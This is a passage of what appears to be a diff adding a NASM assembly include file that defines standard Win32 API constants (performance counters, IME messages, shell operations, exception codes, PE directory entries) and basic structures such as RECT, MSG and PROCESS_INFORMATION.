PERF_SIZE_DWORD|PERF_TYPE_NUMBER|PERF_NUMBER_DECIMAL|PERF_DISPLAY_NO_SUFFIX +%define PERF_SAMPLE_FRACTION PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|PERF_DELTA_COUNTER|PERF_DELTA_BASE|PERF_DISPLAY_PERCENT +%define PERF_SAMPLE_COUNTER PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_NO_SUFFIX +%define PERF_COUNTER_NODATA PERF_SIZE_ZERO|PERF_DISPLAY_NOSHOW +%define PERF_COUNTER_TIMER_INV PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_INVERSE_COUNTER|PERF_DISPLAY_PERCENT +%define PERF_SAMPLE_BASE PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|PERF_DISPLAY_NOSHOW|1h +%define PERF_AVERAGE_TIMER PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|PERF_DISPLAY_SECONDS +%define PERF_AVERAGE_BASE PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|PERF_DISPLAY_NOSHOW|2h +%define PERF_AVERAGE_BULK PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|PERF_DISPLAY_NOSHOW +%define PERF_100NSEC_TIMER PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_100NS|PERF_DELTA_COUNTER|PERF_DISPLAY_PERCENT +%define PERF_100NSEC_TIMER_INV PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_100NS|PERF_DELTA_COUNTER|PERF_INVERSE_COUNTER|PERF_DISPLAY_PERCENT +%define PERF_COUNTER_MULTI_TIMER PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_DELTA_COUNTER|PERF_TIMER_TICK|PERF_MULTI_COUNTER|PERF_DISPLAY_PERCENT +%define PERF_COUNTER_MULTI_TIMER_INV PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_DELTA_COUNTER|PERF_MULTI_COUNTER|PERF_TIMER_TICK|PERF_INVERSE_COUNTER|PERF_DISPLAY_PERCENT +%define PERF_COUNTER_MULTI_BASE PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|PERF_MULTI_COUNTER|PERF_DISPLAY_NOSHOW +%define PERF_100NSEC_MULTI_TIMER PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_DELTA_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_100NS|PERF_MULTI_COUNTER|PERF_DISPLAY_PERCENT +%define PERF_100NSEC_MULTI_TIMER_INV PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_DELTA_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_100NS|PERF_MULTI_COUNTER|PERF_INVERSE_COUNTER|PERF_DISPLAY_PERCENT +%define PERF_RAW_FRACTION PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|PERF_DISPLAY_PERCENT +%define PERF_RAW_BASE PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|PERF_DISPLAY_NOSHOW|3h +%define PERF_ELAPSED_TIME PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_ELAPSED|PERF_OBJECT_TIMER|PERF_DISPLAY_SECONDS +%define PERF_COUNTER_HISTOGRAM_TYPE 80000000h +%define PERF_DETAIL_NOVICE 100 +%define PERF_DETAIL_ADVANCED 200 +%define PERF_DETAIL_EXPERT 300 +%define PERF_DETAIL_WIZARD 400 +%define PERF_NO_UNIQUE_ID -1 +%define LZERROR_BADINHANDLE -1 +%define LZERROR_BADOUTHANDLE -2 +%define LZERROR_READ -3 +%define LZERROR_WRITE -4 +%define LZERROR_PUBLICLOC -5 +%define LZERROR_GLOBLOCK -6 +%define LZERROR_BADVALUE -7 +%define LZERROR_UNKNOWNALG -8 +%define VK_PROCESSKEY 0E5h +%define STYLE_DESCRIPTION_SIZE 32 +%define WM_CONVERTREQUESTEX 108h +%define WM_IME_STARTCOMPOSITION 10Dh +%define WM_IME_ENDCOMPOSITION 10Eh +%define WM_IME_COMPOSITION 10Fh +%define WM_IME_KEYLAST 10Fh +%define WM_IME_SETCONTEXT 281h +%define WM_IME_NOTIFY 282h +%define WM_IME_CONTROL 283h +%define WM_IME_COMPOSITIONFULL 284h +%define WM_IME_SELECT 285h +%define WM_IME_CHAR 286h +%define WM_IME_KEYDOWN 290h +%define WM_IME_KEYUP 291h +%define IMC_GETCANDIDATEPOS 7h +%define IMC_SETCANDIDATEPOS 8h +%define IMC_GETCOMPOSITIONFONT 9h +%define IMC_SETCOMPOSITIONFONT 0Ah +%define IMC_GETCOMPOSITIONWINDOW 0Bh +%define IMC_SETCOMPOSITIONWINDOW 0Ch +%define IMC_GETSTATUSWINDOWPOS 0Fh +%define IMC_SETSTATUSWINDOWPOS 10h +%define IMC_CLOSESTATUSWINDOW 21h +%define IMC_OPENSTATUSWINDOW 22h +%define NI_OPENCANDIDATE 10h +%define NI_CLOSECANDIDATE 11h +%define NI_SELECTCANDIDATESTR 12h +%define NI_CHANGECANDIDATELIST 13h +%define NI_FINALIZECONVERSIONRESULT 14h +%define NI_COMPOSITIONSTR 15h +%define NI_SETCANDIDATE_PAGESTART 16h +%define NI_SETCANDIDATE_PAGESIZE 17h +%define ISC_SHOWUICANDIDATEWINDOW 1h +%define ISC_SHOWUICOMPOSITIONWINDOW 80000000h +%define ISC_SHOWUIGUIDELINE 40000000h +%define ISC_SHOWUIALLCANDIDATEWINDOW 0Fh +%define ISC_SHOWUIALL 0C000000Fh +%define CPS_COMPLETE 1h +%define CPS_CONVERT 2h +%define CPS_REVERT 3h +%define CPS_CANCEL 4h +%define IME_CHOTKEY_IME_NONIME_TOGGLE 10h +%define IME_CHOTKEY_SHAPE_TOGGLE 11h +%define IME_CHOTKEY_SYMBOL_TOGGLE 12h +%define IME_JHOTKEY_CLOSE_OPEN 30h +%define IME_KHOTKEY_SHAPE_TOGGLE 50h +%define IME_KHOTKEY_HANJACONVERT 51h +%define IME_KHOTKEY_ENGLISH 52h +%define IME_THOTKEY_IME_NONIME_TOGGLE 70h +%define IME_THOTKEY_SHAPE_TOGGLE 71h +%define IME_THOTKEY_SYMBOL_TOGGLE 72h +%define IME_HOTKEY_DSWITCH_FIRST 100h +%define IME_HOTKEY_DSWITCH_LAST 11Fh +%define IME_ITHOTKEY_RESEND_RESULTSTR 200h +%define IME_ITHOTKEY_PREVIOUS_COMPOSITION 201h +%define IME_ITHOTKEY_UISTYLE_TOGGLE 202h +%define GCS_COMPREADSTR 1h +%define GCS_COMPREADATTR 2h +%define GCS_COMPREADCLAUSE 4h +%define GCS_COMPSTR 8h +%define GCS_COMPATTR 10h +%define GCS_COMPCLAUSE 20h +%define GCS_CURSORPOS 80h +%define GCS_DELTASTART 100h +%define GCS_RESULTREADSTR 200h +%define GCS_RESULTREADCLAUSE 400h +%define GCS_RESULTSTR 800h +%define GCS_RESULTCLAUSE 1000h +%define CS_INSERTCHAR 2000h +%define CS_NOMOVECARET 4000h +%define IME_PROP_AT_CARET 10000h +%define IME_PROP_SPECIAL_UI 20000h +%define IME_PROP_CANDLIST_START_FROM_1 40000h +%define IME_PROP_UNICODE 80000h +%define UI_CAP_2700 1h +%define UI_CAP_ROT90 2h +%define UI_CAP_ROTANY 4h +%define SCS_CAP_COMPSTR 1h +%define SCS_CAP_MAKEREAD 2h +%define SELECT_CAP_CONVERSION 1h +%define SELECT_CAP_SENTENCE 2h +%define GGL_LEVEL 1h +%define GGL_INDEX 2h +%define GGL_STRING 3h +%define GGL_PRIVATE 4h +%define GL_LEVEL_NOGUIDELINE 0h +%define GL_LEVEL_FATAL 1h +%define GL_LEVEL_ERROR 2h +%define GL_LEVEL_WARNING 3h +%define GL_LEVEL_INFORMATION 4h +%define GL_ID_UNKNOWN 0h +%define GL_ID_NOMODULE 1h +%define GL_ID_NODICTIONARY 10h +%define GL_ID_CANNOTSAVE 11h +%define GL_ID_NOCONVERT 20h +%define GL_ID_TYPINGERROR 21h +%define GL_ID_TOOMANYSTROKE 22h +%define GL_ID_READINGCONFLICT 23h +%define GL_ID_INPUTREADING 24h +%define GL_ID_INPUTRADICAL 25h +%define GL_ID_INPUTCODE 26h +%define GL_ID_INPUTSYMBOL 27h +%define GL_ID_CHOOSECANDIDATE 28h +%define GL_ID_REVERSECONVERSION 29h +%define GL_ID_PRIVATE_FIRST 8000h +%define GL_ID_PRIVATE_LAST 0FFFFh +%define IGP_PROPERTY 4h +%define IGP_CONVERSION 8h +%define IGP_SENTENCE 0Ch +%define IGP_UI 10h +%define IGP_SETCOMPSTR 14h +%define IGP_SELECT 18h +%define SCS_SETSTR GCS_COMPREADSTR|GCS_COMPSTR +%define SCS_CHANGEATTR GCS_COMPREADATTR|GCS_COMPATTR +%define SCS_CHANGECLAUSE GCS_COMPREADCLAUSE|GCS_COMPCLAUSE +%define ATTR_INPUT 0h +%define ATTR_TARGET_CONVERTED 1h +%define ATTR_CONVERTED 2h +%define ATTR_TARGET_NOTCONVERTED 3h +%define ATTR_INPUT_ERROR 4h +%define CFS_DEFAULT 0h +%define CFS_RECT 1h +%define CFS_POINT 2h +%define CFS_SCREEN 4h +%define CFS_FORCE_POSITION 20h +%define CFS_CANDIDATEPOS 40h +%define CFS_EXCLUDE 80h +%define GCL_CONVERSION 1h +%define GCL_REVERSECONVERSION 2h +%define GCL_REVERSE_LENGTH 3h +%define IME_CMODE_ALPHANUMERIC 0h +%define IME_CMODE_NATIVE 1h +%define IME_CMODE_CHINESE IME_CMODE_NATIVE +%define IME_CMODE_HANGEUL IME_CMODE_NATIVE +%define IME_CMODE_JAPANESE IME_CMODE_NATIVE +%define IME_CMODE_KATAKANA 2h +%define IME_CMODE_LANGUAGE 3h +%define IME_CMODE_FULLSHAPE 8h +%define IME_CMODE_ROMAN 10h +%define IME_CMODE_CHARCODE 20h +%define IME_CMODE_HANJACONVERT 40h +%define IME_CMODE_SOFTKBD 80h +%define IME_CMODE_NOCONVERSION 100h +%define IME_CMODE_EUDC 200h +%define IME_CMODE_SYMBOL 400h +%define IME_SMODE_NONE 0h +%define IME_SMODE_PLAURALCLAUSE 1h +%define IME_SMODE_SINGLECONVERT 2h +%define IME_SMODE_AUTOMATIC 4h +%define IME_SMODE_PHRASEPREDICT 8h +%define IME_CAND_UNKNOWN 0h +%define IME_CAND_READ 1h +%define IME_CAND_CODE 2h +%define IME_CAND_MEANING 3h +%define IME_CAND_RADICAL 4h +%define IME_CAND_STROKE 5h +%define IMN_CLOSESTATUSWINDOW 1h +%define IMN_OPENSTATUSWINDOW 2h +%define IMN_CHANGECANDIDATE 3h +%define IMN_CLOSECANDIDATE 4h +%define IMN_OPENCANDIDATE 5h +%define IMN_SETCONVERSIONMODE 6h +%define IMN_SETSENTENCEMODE 7h +%define IMN_SETOPENSTATUS 8h +%define IMN_SETCANDIDATEPOS 9h +%define IMN_SETCOMPOSITIONFONT 0Ah +%define IMN_SETCOMPOSITIONWINDOW 0Bh +%define IMN_SETSTATUSWINDOWPOS 0Ch +%define IMN_GUIDELINE 0Dh +%define IMN_PRIVATE 0Eh +%define IMM_ERROR_NODATA -1 +%define IMM_ERROR_GENERAL -2 +%define IME_CONFIG_GENERAL 1 +%define IME_CONFIG_REGISTERWORD 2 +%define IME_CONFIG_SELECTDICTIONARY 3 +%define IME_ESC_QUERY_SUPPORT 3h +%define IME_ESC_RESERVED_FIRST 4h +%define IME_ESC_RESERVED_LAST 7FFh +%define IME_ESC_PRIVATE_FIRST 800h +%define IME_ESC_PRIVATE_LAST 0FFFh +%define IME_ESC_SEQUENCE_TO_INTERNAL 1001h +%define IME_ESC_GET_EUDC_DICTIONARY 1003h +%define IME_ESC_SET_EUDC_DICTIONARY 1004h +%define IME_ESC_MAX_KEY 1005h +%define IME_ESC_IME_NAME 1006h +%define IME_ESC_SYNC_HOTKEY 1007h +%define IME_ESC_HANJA_MODE 1008h +%define IME_REGWORD_STYLE_EUDC 1h +%define IME_REGWORD_STYLE_USER_FIRST 80000000h +%define IME_REGWORD_STYLE_USER_LAST 0FFFFh +%define SOFTKEYBOARD_TYPE_T1 1h +%define SOFTKEYBOARD_TYPE_C1 2h +%define DIALOPTION_BILLING 40h +%define DIALOPTION_QUIET 80h +%define DIALOPTION_DIALTONE 100h +%define MDMVOLFLAG_LOW 1h +%define MDMVOLFLAG_MEDIUM 2h +%define MDMVOLFLAG_HIGH 4h +%define MDMVOL_LOW 0h +%define MDMVOL_MEDIUM 1h +%define MDMVOL_HIGH 2h +%define MDMSPKRFLAG_OFF 1h +%define MDMSPKRFLAG_DIAL 2h +%define MDMSPKRFLAG_ON 4h +%define MDMSPKRFLAG_CALLSETUP 8h +%define MDMSPKR_OFF 0h +%define MDMSPKR_DIAL 1h +%define MDMSPKR_ON 2h +%define MDMSPKR_CALLSETUP 3h +%define MDM_COMPRESSION 1h +%define MDM_ERROR_CONTROL 2h +%define MDM_FORCED_EC 4h +%define MDM_CELLULAR 8h +%define MDM_FLOWCONTROL_HARD 10h +%define MDM_FLOWCONTROL_SOFT 20h +%define MDM_CCITT_OVERRIDE 40h +%define MDM_SPEED_ADJUST 80h +%define MDM_TONE_DIAL 100h +%define MDM_BLIND_DIAL 200h +%define MDM_V23_OVERRIDE 400h +%define ABM_NEW 0h +%define ABM_REMOVE 1h +%define ABM_QUERYPOS 2h +%define ABM_SETPOS 3h +%define ABM_GETSTATE 4h +%define ABM_GETTASKBARPOS 5h +%define ABM_ACTIVATE 6h +%define ABM_GETAUTOHIDEBAR 7h +%define ABM_SETAUTOHIDEBAR 8h +%define ABM_WINDOWPOSCHANGED 9h +%define ABN_STATECHANGE 0h +%define ABN_POSCHANGED 1h +%define ABN_FULLSCREENAPP 2h +%define ABN_WINDOWARRANGE 3h +%define ABS_AUTOHIDE 1h +%define ABS_ALWAYSONTOP 2h +%define ABE_LEFT 0 +%define ABE_TOP 1 +%define ABE_RIGHT 2 +%define ABE_BOTTOM 3 +%define EIRESID -1 +%define FO_MOVE 1h +%define FO_COPY 2h +%define FO_DELETE 3h +%define FO_RENAME 4h +%define FOF_MULTIDESTFILES 1h +%define FOF_CONFIRMMOUSE 2h +%define FOF_SILENT 4h +%define FOF_RENAMEONCOLLISION 8h +%define FOF_NOCONFIRMATION 10h +%define FOF_WANTMAPPINGHANDLE 20h +%define FOF_ALLOWUNDO 40h +%define FOF_FILESONLY 80h +%define FOF_SIMPLEPROGRESS 100h +%define FOF_NOCONFIRMMKDIR 200h +%define PO_DELETE 13h +%define PO_RENAME 14h +%define PO_PORTCHANGE 20h +%define PO_REN_PORT 34h +%define SE_ERR_FNF 2 +%define SE_ERR_PNF 3 +%define SE_ERR_ACCESSDENIED 5 +%define SE_ERR_OOM 8 +%define SE_ERR_DLLNOTFOUND 32 +%define SEE_MASK_CLASSNAME 1h +%define SEE_MASK_CLASSKEY 3h +%define SEE_MASK_IDLIST 4h +%define SEE_MASK_INVOKEIDLIST 0Ch +%define SEE_MASK_ICON 10h +%define SEE_MASK_HOTKEY 20h +%define SEE_MASK_NOCLOSEPROCESS 40h +%define SEE_MASK_CONNECTNETDRV 80h +%define SEE_MASK_FLAG_DDEWAIT 100h +%define SEE_MASK_DOENVSUBST 200h +%define SEE_MASK_FLAG_NO_UI 400h +%define NIM_ADD 0h +%define NIM_MODIFY 1h +%define NIM_DELETE 2h +%define NIF_MESSAGE 1h +%define NIF_ICON 2h +%define NIF_TIP 4h +%define SHGFI_ICON 100h +%define SHGFI_DISPLAYNAME 200h +%define SHGFI_TYPENAME 400h +%define SHGFI_ATTRIBUTES 800h +%define SHGFI_ICONLOCATION 1000h +%define SHGFI_EXETYPE 2000h +%define SHGFI_SYSICONINDEX 4000h +%define SHGFI_LINKOVERLAY 8000h +%define SHGFI_SELECTED 10000h +%define SHGFI_LARGEICON 0h +%define SHGFI_SMALLICON 1h +%define SHGFI_OPENICON 2h +%define SHGFI_SHELLICONSIZE 4h +%define SHGFI_PIDL 8h +%define SHGFI_USEFILEATTRIBUTES 10h +%define SHGNLI_PIDL 1h +%define SHGNLI_PREFIXNAME 2h +%define VS_VERSION_INFO 1 +%define VS_USER_DEFINED 100 +%define VS_FFI_SIGNATURE 0FEEF04BDh +%define VS_FFI_STRUCVERSION 10000h +%define VS_FFI_FILEFLAGSMASK 3Fh +%define VS_FF_DEBUG 1h +%define VS_FF_PRERELEASE 2h +%define VS_FF_PATCHED 4h +%define VS_FF_PRIVATEBUILD 8h +%define VS_FF_INFOINFERRED 10h +%define VS_FF_SPECIALBUILD 20h +%define VOS_UNKNOWN 0h +%define VOS_DOS 10000h +%define VOS_OS216 20000h +%define VOS_OS232 30000h +%define VOS_NT 40000h +%define VOS__BASE 0h +%define VOS__WINDOWS16 1h +%define VOS__PM16 2h +%define VOS__PM32 3h +%define VOS__WINDOWS32 4h +%define VOS_DOS_WINDOWS16 10001h +%define VOS_DOS_WINDOWS32 10004h +%define VOS_OS216_PM16 20002h +%define VOS_OS232_PM32 30003h +%define VOS_NT_WINDOWS32 40004h +%define VFT_UNKNOWN 0h +%define VFT_APP 1h +%define VFT_DLL 2h +%define VFT_DRV 3h +%define VFT_FONT 4h +%define VFT_VXD 5h +%define VFT_STATIC_LIB 7h +%define VFT2_UNKNOWN 0h +%define VFT2_DRV_PRINTER 1h +%define VFT2_DRV_KEYBOARD 2h +%define VFT2_DRV_LANGUAGE 3h +%define VFT2_DRV_DISPLAY 4h +%define VFT2_DRV_MOUSE 5h +%define VFT2_DRV_NETWORK 6h +%define VFT2_DRV_SYSTEM 7h +%define VFT2_DRV_INSTALLABLE 8h +%define VFT2_DRV_SOUND 9h +%define VFT2_DRV_COMM 0Ah +%define VFT2_DRV_INPUTMETHOD 0Bh +%define VFT2_FONT_RASTER 1h +%define VFT2_FONT_VECTOR 2h +%define VFT2_FONT_TRUETYPE 3h +%define VFFF_ISSHAREDFILE 1h +%define VFF_CURNEDEST 1h +%define VFF_FILEINUSE 2h +%define VFF_BUFFTOOSMALL 4h +%define VIFF_FORCEINSTALL 1h +%define VIFF_DONTDELETEOLD 2h +%define VIF_TEMPFILE 1h +%define VIF_MISMATCH 2h +%define VIF_SRCOLD 4h +%define VIF_DIFFLANG 8h +%define VIF_DIFFCODEPG 10h +%define VIF_DIFFTYPE 20h +%define VIF_WRITEPROT 40h +%define VIF_FILEINUSE 80h +%define VIF_OUTOFSPACE 100h +%define VIF_ACCESSVIOLATION 200h +%define VIF_SHARINGVIOLATION 400h +%define VIF_CANNOTCREATE 800h +%define VIF_CANNOTDELETE 1000h +%define VIF_CANNOTRENAME 2000h +%define VIF_CANNOTDELETECUR 4000h +%define VIF_OUTOFMEMORY 8000h +%define VIF_CANNOTREADSRC 10000h +%define VIF_CANNOTREADDST 20000h +%define VIF_BUFFTOOSMALL 40000h +%define PROCESS_HEAP_REGION 1h +%define PROCESS_HEAP_UNCOMMITTED_RANGE 2h +%define PROCESS_HEAP_ENTRY_BUSY 4h +%define PROCESS_HEAP_ENTRY_MOVEABLE 10h +%define PROCESS_HEAP_ENTRY_DDESHARE 20h +%define SCS_32BIT_BINARY 0 +%define SCS_DOS_BINARY 1 +%define SCS_WOW_BINARY 2 +%define SCS_PIF_BINARY 3 +%define SCS_POSIX_BINARY 4 +%define SCS_OS216_BINARY 5 +%define LOGON32_LOGON_INTERACTIVE 2 +%define LOGON32_LOGON_BATCH 4 +%define LOGON32_LOGON_SERVICE 5 +%define LOGON32_PROVIDER_DEFAULT 0 +%define LOGON32_PROVIDER_WINNT35 1 +%define VER_PLATFORM_WIN32s 0 +%define VER_PLATFORM_WIN32_WINDOWS 1 +%define VER_PLATFORM_WIN32_NT 2 +%define AC_LINE_OFFLINE 0h +%define AC_LINE_ONLINE 1h +%define AC_LINE_BACKUP_POWER 2h +%define AC_LINE_UNKNOWN 0FFh +%define BATTERY_FLAG_HIGH 1h +%define BATTERY_FLAG_LOW 2h +%define BATTERY_FLAG_CRITICAL 4h +%define BATTERY_FLAG_CHARGING 8h +%define BATTERY_FLAG_NO_BATTERY 80h +%define BATTERY_FLAG_UNKNOWN 0FFh +%define BATTERY_PERCENTAGE_UNKNOWN 0FFh +%define BATTERY_LIFE_UNKNOWN 0FFFFh +%define CDM_FIRST WM_USER+100 +%define CDM_LAST WM_USER+200 +%define CDM_GETSPEC CDM_FIRST+0h +%define CDM_GETFILEPATH CDM_FIRST+1h +%define CDM_GETFOLDERPATH CDM_FIRST+2h +%define CDM_GETFOLDERIDLIST CDM_FIRST+3h +%define CDM_SETCONTROLTEXT CDM_FIRST+4h +%define CDM_HIDECONTROL CDM_FIRST+5h +%define CDM_SETDEFEXT CDM_FIRST+6h +%define SIMULATED_FONTTYPE 8000h +%define PRINTER_FONTTYPE 4000h +%define SCREEN_FONTTYPE 2000h +%define BOLD_FONTTYPE 100h +%define ITALIC_FONTTYPE 200h +%define REGULAR_FONTTYPE 400h +%define WM_PSD_PAGESETUPDLG WM_USER +%define WM_PSD_FULLPAGERECT WM_USER+1 +%define WM_PSD_MINMARGINRECT WM_USER+2 +%define WM_PSD_MARGINRECT WM_USER+3 +%define WM_PSD_GREEKTEXTRECT WM_USER+4 +%define WM_PSD_ENVSTAMPRECT WM_USER+5 +%define WM_PSD_YAFULLPAGERECT WM_USER+6 +%define PSD_DEFAULTMINMARGINS 0h +%define PSD_INWININIINTLMEASURE 0h +%define PSD_MINMARGINS 1h +%define PSD_MARGINS 2h +%define PSD_INTHOUSANDTHSOFINCHES 4h +%define PSD_INHUNDREDTHSOFMILLIMETERS 8h +%define PSD_DISABLEMARGINS 10h +%define PSD_DISABLEPRINTER 20h +%define PSD_NOWARNING 80h +%define PSD_DISABLEORIENTATION 100h +%define PSD_RETURNDEFAULT 400h +%define PSD_DISABLEPAPER 200h +%define PSD_SHOWHELP 800h +%define PSD_ENABLEPAGESETUPHOOK 2000h +%define PSD_ENABLEPAGESETUPTEMPLATE 8000h +%define PSD_ENABLEPAGESETUPTEMPLATEHANDLE 20000h +%define PSD_ENABLEPAGEPAINTHOOK 40000h +%define PSD_DISABLEPAGEPAINTING 80000h +%define NM_FIRST 0-0 +%define NM_LAST 0-99 +%define DBG_CONTINUE 00010002h +%define DBG_TERMINATE_THREAD 40010003h +%define DBG_TERMINATE_PROCESS 40010004h +%define DBG_CONTROL_C 40010005h +%define DBG_CONTROL_BREAK 40010008h +%define DBG_EXCEPTION_NOT_HANDLED 80010001h +%define SIZE_OF_80387_REGISTERS 80 +%define STATUS_WAIT_0 00000000h +%define STATUS_ABANDONED_WAIT_0 00000080h +%define STATUS_USER_APC 000000C0h +%define STATUS_TIMEOUT 00000102h +%define STATUS_PENDING 00000103h +%define STATUS_DATATYPE_MISALIGNMENT 80000002h +%define STATUS_BREAKPOINT 80000003h +%define STATUS_SINGLE_STEP 80000004h +%define STATUS_ACCESS_VIOLATION 0C0000005h +%define STATUS_IN_PAGE_ERROR 0C0000006h +%define STATUS_NO_MEMORY 0C0000017h +%define STATUS_ILLEGAL_INSTRUCTION 0C000001Dh +%define STATUS_NONCONTINUABLE_EXCEPTION 0C0000025h +%define STATUS_INVALID_DISPOSITION 0C0000026h +%define STATUS_ARRAY_BOUNDS_EXCEEDED 0C000008Ch +%define STATUS_FLOAT_DENORMAL_OPERAND 0C000008Dh +%define STATUS_FLOAT_DIVIDE_BY_ZERO 0C000008Eh +%define STATUS_FLOAT_INEXACT_RESULT 0C000008Fh +%define STATUS_FLOAT_INVALID_OPERATION 0C0000090h +%define STATUS_FLOAT_OVERFLOW 0C0000091h +%define STATUS_FLOAT_STACK_CHECK 0C0000092h +%define STATUS_FLOAT_UNDERFLOW 0C0000093h +%define STATUS_INTEGER_DIVIDE_BY_ZERO 0C0000094h +%define STATUS_INTEGER_OVERFLOW 0C0000095h +%define STATUS_PRIVILEGED_INSTRUCTION 0C0000096h +%define STATUS_STACK_OVERFLOW 0C00000FDh +%define STATUS_CONTROL_C_EXIT 0C000013Ah +%define EXCEPTION_CONTINUABLE 0 +%define EXCEPTION_NONCONTINUABLE 1h +%define EXCEPTION_ACCESS_VIOLATION STATUS_ACCESS_VIOLATION +%define EXCEPTION_DATATYPE_MISALIGNMENT STATUS_DATATYPE_MISALIGNMENT +%define EXCEPTION_BREAKPOINT STATUS_BREAKPOINT +%define EXCEPTION_SINGLE_STEP STATUS_SINGLE_STEP +%define EXCEPTION_ARRAY_BOUNDS_EXCEEDED STATUS_ARRAY_BOUNDS_EXCEEDED +%define EXCEPTION_FLT_DENORMAL_OPERAND STATUS_FLOAT_DENORMAL_OPERAND +%define EXCEPTION_FLT_DIVIDE_BY_ZERO STATUS_FLOAT_DIVIDE_BY_ZERO +%define EXCEPTION_FLT_INEXACT_RESULT STATUS_FLOAT_INEXACT_RESULT +%define EXCEPTION_FLT_INVALID_OPERATION STATUS_FLOAT_INVALID_OPERATION +%define EXCEPTION_FLT_OVERFLOW STATUS_FLOAT_OVERFLOW +%define EXCEPTION_FLT_STACK_CHECK STATUS_FLOAT_STACK_CHECK +%define EXCEPTION_FLT_UNDERFLOW STATUS_FLOAT_UNDERFLOW +%define EXCEPTION_INT_DIVIDE_BY_ZERO STATUS_INTEGER_DIVIDE_BY_ZERO +%define EXCEPTION_INT_OVERFLOW STATUS_INTEGER_OVERFLOW +%define EXCEPTION_PRIV_INSTRUCTION STATUS_PRIVILEGED_INSTRUCTION +%define EXCEPTION_IN_PAGE_ERROR STATUS_IN_PAGE_ERROR +%define CONTEXT_i386 00010000h +%define CONTEXT_i486 00010000h +%define CONTEXT_CONTROL CONTEXT_i386|00000001h +%define CONTEXT_INTEGER CONTEXT_i386|00000002h +%define CONTEXT_SEGMENTS CONTEXT_i386|00000004h +%define CONTEXT_FLOATING_POINT CONTEXT_i386|00000008h +%define CONTEXT_DEBUG_REGISTERS CONTEXT_i386|00000010h +%define CONTEXT_FULL CONTEXT_CONTROL|CONTEXT_INTEGER|CONTEXT_SEGMENTS +%define IMAGE_DIRECTORY_ENTRY_EXPORT 0 +%define IMAGE_DIRECTORY_ENTRY_IMPORT 1 +%define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 +%define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 +%define IMAGE_DIRECTORY_ENTRY_SECURITY 4 +%define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 +%define IMAGE_DIRECTORY_ENTRY_DEBUG 6 +%define IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 +%define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 +%define IMAGE_DIRECTORY_ENTRY_TLS 9 +%define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 +%define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 +%define IMAGE_DIRECTORY_ENTRY_IAT 12 +%define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 +%define IMAGE_BITMAP 0 +%define IMAGE_ICON 1 +%define IMAGE_CURSOR 2 +%define IMAGE_ENHMETAFILE 3 +%define PROCESSOR_INTEL_386 386 +%define PROCESSOR_INTEL_486 486 +%define PROCESSOR_INTEL_PENTIUM 586 +%define PROCESSOR_MIPS_R4000 4000 +%define PROCESSOR_ALPHA_21064 21064 +;-----------------------win32api structures----------------------------- +STRUC RECT +.left RESD 1 +.top RESD 1 +.right RESD 1 +.bottom RESD 1 +ENDSTRUC + +STRUC POINT +.x RESD 1 +.y RESD 1 +ENDSTRUC + +STRUC SIZEL +.x RESD 1 +.y RESD 1 +ENDSTRUC + +STRUC MSG +.hwnd RESD 1 +.message RESD 1 +.wParam RESD 1 +.lParam RESD 1 +.time RESD 1 +.pt RESB POINT_size +ENDSTRUC + +STRUC SID_AND_ATTRIBUTES +.Sid RESD 1 +.Attributes RESD 1 +ENDSTRUC + +STRUC SID_IDENTIFIER_AUTHORITY +.Value RESB 1 +ENDSTRUC + +STRUC OVERLAPPED +.Internal RESD 1 +.InternalHigh RESD 1 +.loffset RESD 1 +.OffsetHigh RESD 1 +.hEvent RESD 1 +ENDSTRUC + +STRUC SECURITY_ATTRIBUTES +.niLength RESD 1 +.lpSecurityDescriptor RESD 1 +.bInheritHandle RESD 1 +ENDSTRUC + +STRUC PROCESS_INFORMATION +.hProcess RESD 1 +.hThread RESD 1 +.dwProcessId RESD 1 +.dwThreadId RESD 1 +ENDSTRUC + +STRUC FILETIME +.dwLowDateTime RESD 1 +.dwHighDateTime RESD 1 +ENDSTRUC + +STRUC SYSTEMTIME +.wYear RESW 1 +.wMonth RESW 1 +.wDayOfWeek RESW 1 +.wDay RESW 1 +.wHour RESW 1 +.wMinute RESW 1 +.wSecond RESW 1 +.wMilliseconds RESW 1 +ENDSTRUC + +STRUC COMMPROP +.wPacketiLength RESW 1 +.wPacketVersion RESW 1 +.dwServiceMask RESD 1 +.dwReserved1 RESD 1 +.dwMaxTxQueue RESD 1 +.dwMaxRxQueue RESD 1 +.dwMaxBaud RESD 1 +.dwProvSubType RESD 1 +.dwProvCapabilities RESD 1 +.dwSettableParams RESD 1 +.dwSettableBaud RESD 1 +.wSettableData RESW 1 +.wSettableStopParity RESW 1 +.dwCurrentTxQueue RESD 1 +.dwCurrentRxQueue RESD 1 +.dwProvSpec1 RESD 1 +.dwProvSpec2 RESD 1 +.wcProvChar RESW 1 